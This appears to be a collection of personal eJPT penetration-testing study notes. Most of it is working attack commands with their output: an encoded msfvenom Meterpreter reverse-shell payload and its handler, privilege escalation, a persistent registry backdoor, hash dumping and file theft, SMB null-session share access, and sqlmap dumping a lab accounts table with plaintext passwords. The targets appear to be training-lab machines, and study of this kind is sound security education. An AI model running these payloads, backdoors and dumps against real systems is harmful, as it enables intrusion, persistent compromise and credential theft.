[eJPT][metasploit][msfvenom][meterpreter]msfvenom -- the backdoor function of Metasploit

#Reference: https://nitesculucian.github.io/2018/07/24/msfvenom-cheat-sheet/


*****Generate the server side:*****
# msfvenom -l encoders
...
x86/shikata_ga_nai
...

# msfvenom -l payloads
...
linux/x86/meterpreter_reverse_tcp
...

# msfvenom -l formats
...
elf
elf-so
exe
...

# msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=xxx.xxx.xxx.xxx lport=xxxxx -e x86/shikata_ga_nai -i 5 -f elf -o ./test.out


*****The client side:*****
# /etc/init.d/postgresql start

# msfconsole
msf5> use exploit/multi/handler

msf5> search type:payload platform:linux

msf5> set payload payload/linux/x64/meterpreter_reverse_tcp

msf5> set LHOST xxx.xxx.xxx.xxx

msf5> exploit -j

msf5> sessions -l

[certificate]ISO 22301 LA

[certificate]ISO27001 LA & IA

[eJPT]Add a route in Kali

root@demonalex:~# ip route add 172.16.88.0/24 via 10.175.34.1

root@demonalex:~# netstat -rn
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
...
172.16.88.0     10.175.34.1     255.255.255.0   UG        0 0          0 tap0
...

root@demonalex:~# nmap -sn -n 172.16.88.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-25 11:57 EDT
Nmap scan report for 172.16.88.1
Host is up (0.059s latency).
Nmap scan report for 172.16.88.81
Host is up (0.062s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 5.87 seconds

[eJPT][metasploit][msfconsole]Metasploit Msfconsole Gameplay

#################################################Basic Gameplay
#/etc/init.d/postgresql start
#msfconsole
>search type:exploit platform:windows               <--Find the appropriate exploit
>use XX
>show options
...
>set XXX XXX
...
>show payloads
>set payload windows/meterpreter/reverse_tcp        <--Select a payload
>set LHOST XXX.XXX.XXX.XXX
>set EXITFUNC process
>run                                                <--Exploit
...
meterpreter>getuid
meterpreter>getsystem                               <--Privilege Escalation
meterpreter>getuid
meterpreter>background
>sessions -l
...



#################################################Install Persistent Backdoor
>use exploit/windows/local/persistence
>show options
...
>set reg_name XXX
>set exe_name XXX
>set startup SYSTEM
>set session 1
>set payload windows/meterpreter/reverse_tcp
>set exitfunc process
>set lhost XXX.XXX.XXX.XXX
>set lport XXXX
>set DisablePayloadHandler false
>exploit                                           <--Install a backdoor. Use exploit -j instead if not working.
...
>use exploit/multi/handler
>set lhost XXX.XXX.XXX.XXX
>set lport XXXX
>set payload windows/meterpreter/reverse_tcp
>exploit -j                                       <--Launch the backdoor client, namely Handler



#################################################Crack Passwords
>sessions -l
>sessions -i 1
meterpreter>hashdump                              <--Dump the hashes of all accounts as the output. Save the output as a file and use John to crack it.



#################################################Search and Download Files
meterpreter>search -f congrats.txt
meterpreter>download 'c:\Documents and Settings\eLSAdmin\My Documents\Congrats.txt' /root/

[eJPT][enum4linux][smbclient]Null Session

1) Use "enum4linux -n" to make sure if "<20>" exists:
#enum4linux -n 192.168.1.10

2) If "<20>" exists, it means Null Session could be exploited. Utilize the following command to get more details:
#enum4linux 192.168.1.10

3) If confirmed that Null Session exists, you can remotely list all share of the target:
#smbclient -L WORKGROUP -I 192.168.1.10 -N -U ""

4) You also can connect the remote server by applying the following command:
#smbclient \\\\192.168.1.10\\c$ -N -U ""

5) Download those files stored on the share drive:
smb: \> get Congratulations.txt

[eJPT][sqlmap]SQLMap Usage

1) First, find out the breach point, such as http://10.124.211.96/newsdetails.php?id=26.


2) Second, determine the databases:
# sqlmap -u http://10.124.211.96/newsdetails.php?id=26 --dbs
----------------------------------------------------------------------------
[13:29:06] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 4.1
[13:29:07] [INFO] fetching database names
available databases [2]:
[*] awd
[*] information_schema
----------------------------------------------------------------------------


3) Third, determine tables:
# sqlmap -u http://10.124.211.96/newsdetails.php?id=26 -D awd --tables
----------------------------------------------------------------------------
[13:30:37] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 4.1
[13:30:37] [INFO] fetching tables for database: 'awd'
Database: awd
[3 tables]
+----------+
| accounts |
| awards   |
| news     |
+----------+
----------------------------------------------------------------------------


4) Forth, dump a table's data:
# sqlmap -u http://10.124.211.96/newsdetails.php?id=26 -D awd -T accounts --dump
----------------------------------------------------------------------------
Database: awd                                                                                                                                   
Table: accounts
[11 entries]
+------+-----------------------------------------------------+-------------+-------------------+
| id   | email                                               | password    | displayname       |
+------+-----------------------------------------------------+-------------+-------------------+
| 1    | admin@awdmgmt.labs                                  | S3cr3tBOFH  | Admin             |
| 2    | porta.elit.a@adipiscingMaurismolestie.net           | VUH74DYX6DO | Mallory Reed      |
...
----------------------------------------------------------------------------

5) Fifth, if the vulnerable link requires an extra authentication, attach the cookie with the scanning command:

# sqlmap -u http://10.124.211.96/newsdetails.php?id=26 -D awd -T accounts -p id --cookie="session_level7a=eyJ1c2VyIjoiYWRtaW4ifQ.YSLwbA.3Bixl9Opr1vJ6WU4YLZZUohhDPw" --dump

...